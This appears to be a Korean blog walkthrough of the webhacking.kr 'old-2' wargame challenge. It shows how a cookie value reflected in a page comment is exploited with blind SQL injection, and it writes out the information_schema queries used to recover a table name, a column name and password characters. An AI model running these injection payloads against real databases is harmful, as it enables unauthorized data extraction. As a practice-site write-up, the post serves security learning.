보안 공부/webhacking.kr

webhacking.kr 2번 풀이

sh1256 2021. 12. 3. 13:58
728x90

 

처음 화면

음 아이피 활용 문제인 거 같다. 

일단 소스보기 링크가 없으니 알아서 봐보자

ctrl+shift+i --> 개발자도구 열기

'if you access admin.php i will kick your ass'

자 그럼 바로 admin.php에 접속해보자

admin.php 화면

secret password를 입력하면 해결되는 문제인 거 같다. 

여기서도 개발자도구를 활용해 소스코드를 봤지만 건질 게 없엇다.ㅠ

 

단서는 바로 이전 페이지의 주석으로 된 시간에 있었다.

빨간 부분!

쿠키도 한번 봐주자

time이라는 쿠키가 들어있다. 

https://chrome.google.com/webstore/detail/editthiscookie/fngmhnnpilhplaeedifhccceomclgfbg?hl=ko 

 

EditThisCookie

EditThisCookie는 쿠키 관리자입니다. 이것을 이용하여 쿠키를 추가하고, 삭제하고, 편집하고, 찾고, 보호하거나 막을 수 있습니다!

chrome.google.com

위의 프로그램을 이용해 time 쿠키를 1로 바꿔보자

주석 부분의 시간이 바꼈습니다.

time 에 들어가는 쿠키값이 시간주석에 나타나는 구조 인 거 같아요

자 이제 여러가지 시도를 해봅시다

3  --> 3 출력

1+1  --> 출력X

2=2  --> 1 출력

2=3  --> 0 출력

2>1  --> 1 출력

 

time 안의 구문이 참이면 1을 출력하고 숫자가 오면 숫자 그대로 출력한다는 걸 알게 됬다. 

여기서 필요한건 바로 Blind SQL Injection! 

자세한 설명은..

https://hyotwo.tistory.com/70

 

Blind SQL Injection (블라인드 SQL 인젝션) 공격

SQL 인젝션 공격에서 Blind SQL 인젝션 공격이 있다. 정보를 직접적으로 알수는 없더라도 True/False값을 통해 정보를 알아내는 공격이다. 아이디를 입력했을 때 사용자의 정보를 알려주는것이 아니라

hyotwo.tistory.com

우리는 db에 있는 데이터들을 알아내기 위해 SQL을 사용해야 하는데, 먼저 db에 몇개의 table이 있는지 알아보자

SELECT count(table_name) FROM information_schema.tables WHERE table_schema=database()

time 쿠키값에 넣어주자. 

2가 출력된걸로 보다 테이블은 2개인 걸 알 수 있다!

그럼 첫번째 테이블의 이름을 알아보자(노가다의 시작..)

그전에 테이블명의 길이를 보자

(SELECT length(table_name) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)

첫번째 테이블명의 길이는 13

다음으로 테이블명을 알아보자 

(SELECT ascii(substring(table_name, 1, 1)) FROM information_schema.tables WHERE table_schema=database() LIMIT 0, 1)
더보기

SQL 단어 설명

1. ascii(C): 인수 C의 첫 문자를 아스키 코드로 변환

2. substring=SUBSTR(c, m ,n) : 인수 c의 m번째부터 n개 문자를 잘라낸다. n이 생략되면 c의 끝까지를 잘라냄

1분 37초 = 97초 

아스키코드에서 97에 해당하는 문자는 'a'이다. 두번째 문자를 찾기 위해서 

substring(table_name, 1, 1) 대신에 substring(table_name, 2, 1)을 넣어주면 된다. 

그렇게 해서 구한 테이블명은 'admin_area_pw', 'log' 이다.

 

다음은 column갯수을 알아보자.

느낌상 첫번쨰 테이블(admin_area_pw)에 비밀번호가 있을 거 같다. 

(SELECT count(column_name) FROM information_schema.columns WHERE table_name="admin_area_pw")

결과상 1이 출력된다(와 1개다 너무좋아)

다음으로 그 column의 길이+이름을 일아보자

(SELECT length(column_name) FROM information_schema.columns WHERE table_name="admin_area_pw")

길이=2

더보기

(SELECT ascii(substring(column_name, 1, 1)) FROM information_schema.columns WHERE table_name="admin_area_pw")

첫번쨰 글자=p

두번째 글자=w

 

느낌이 빡 오네 pw라는 column안의 데이터가 바로 password다. 

(끝이 보인다.. 드디어)

 

다음으로 pw의 길이를 알아보자

(SELECT length(pw) FROM admin_area_pw)

길이=17

....?

pw를 알아보자..

(SELECT ascii(substring(pw, 1, 1)) FROM admin_area_pw)

첫번째 글자=k

이 다음부턴 각자 해본다.

그렇게 나온 값을 password값에 입력하면 문제는 해결된다. 

 

이렇게 노가다를 해도 되고 (사실 그렇게 긴 길이도 아니라서 난 노가다를 했다. )

파이썬으로 코드를 짜서 실행해도 된다. 

나는 아직 초짜기 때문에 다른 분의 블로그를 보고 배웠다. 혹시 파이썬을 사용하실 줄 안다면 코드를 짜는 것도 좋을 거 같다. 

파이썬으로 문제풀기 ---> https://m.blog.naver.com/nunub0t/221769017265

 

[Webhacking.kr] old 2번 문제풀이

2번 문제로 접속하면 이런 페이지가 나온다. 소스보기로 살펴보자 주석으로 시간이 나오고, admin.php로 접...

blog.naver.com